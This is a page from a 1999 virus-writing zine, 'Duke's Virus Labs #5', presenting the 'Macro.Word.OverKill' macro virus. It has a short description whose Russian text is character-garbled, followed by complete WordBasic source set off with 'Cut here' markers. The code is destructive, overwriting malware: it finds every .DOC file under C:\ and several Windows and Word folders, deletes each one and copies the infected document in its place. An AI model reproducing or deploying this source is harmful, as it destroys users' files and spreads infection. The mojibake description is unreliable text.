- [Duke's Virus Labs #5] - [Page 24] -

Macro.Word.OverKill
(c) by Duke/SMF

     : Macro.Word.OverKill
         : Duke/SMF
 ண.   : WordBasic
 ᮧ : 07.02.99

   macro-   overwriting ᮬ. ⮨ 
⢥  AutoClose.  ⨨ ࠦ 㬥 
  ᪥ *.DOC 䠩  ⠫ C:\ 㬥, C:\WINDOWS,
C:\WIN95, C:\WINWORD ( ⠫), 㤠   뢠 
 ⨢ 㬥.
    ... () .

===== Cut here =====
Sub MAIN
'This is Macro.Word.OverKill (c) by Duke/SMF
FileFind .SearchPath = " C:\ ; C:\WINWORD; C:\WINDOWS; C:\WIN95",
 .Name = "*.DOC" .SubDir = 1
size = CountFoundFiles()
If size >= 1 Then
        For count = 1 To size
        Kill FoundFileName$(count)
        CopyFile .FileName = FileName$(), .Directory = FoundFileName$(count)
        Next
End If
End Sub
===== Cut here =====
